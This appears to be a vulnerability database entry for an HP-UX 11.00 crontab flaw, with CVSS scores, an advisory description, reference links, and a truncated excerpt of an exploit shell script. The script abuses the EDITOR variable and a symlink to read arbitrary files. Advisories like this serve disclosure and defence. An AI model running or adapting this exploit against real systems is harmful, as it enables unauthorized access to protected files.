Published: 19/12/2000 Updated: 26/01/2024

CVSS v2 Base Score: 2.1 | Impact Score: 2.9 | Exploitability Score: 3.9

CVSS v3 Base Score: 5.5 | Impact Score: 3.6 | Exploitability Score: 1.8

VMScore: 220

Vector: AV:L/AC:L/Au:N/C:P/I:N/A:N

HP-UX 11.00 crontab allows local users to read arbitrary files via the -e option by creating a symlink to the target file during the crontab session, quitting the session, and reading the error messages that crontab generates.

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#!/bin/sh # # HP-UX 1100/1020 crontab # # Kyong-won,Cho # # dubhe@hackerslabcom # # Usage : /crontabsh <distfile> # if [ -z "$1" ] then echo "Usage : $0 <distfile>" exit fi cat << _EOF_ > /tmp/crontab_exp #!/bin/sh ln -sf $1 \$1 _EOF_ chmod 755 /tmp/crontab_exp EDITOR=/tmp/crontab_exp export EDITOR ...

source: wwwsecurityfocuscom/bid/1845/info crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system crontab as implemented with HP-UX is a access controlled binary Users are ...

CWE-59 http://archives.neohapsis.com/archives/bugtraq/2000-10/0317.html https://exchange.xforce.ibmcloud.com/vulnerabilities/5410 https://nvd.nist.gov https://www.exploit-db.com/exploits/195/

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